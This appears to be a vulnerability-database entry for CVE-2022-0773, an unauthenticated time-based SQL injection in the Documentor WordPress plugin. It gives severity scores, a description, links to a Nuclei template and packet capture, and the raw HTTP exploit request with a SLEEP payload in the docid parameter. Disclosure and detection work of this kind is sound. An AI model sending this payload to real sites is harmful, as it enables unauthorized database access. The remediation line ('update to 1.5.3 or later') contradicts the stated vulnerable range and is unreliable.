| Title | Documentor <= 1.5.3 - Unauthenticated SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Update to Documentor version 1.5.3 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.75514 |
| CVE ID | CVE-2022-0773 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve2022 cve unauth sqli wp-plugin wp documentor-lite wpscan wordpress documentor_project vuln |
The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)
GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0773.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0773.pcap
N/AN/A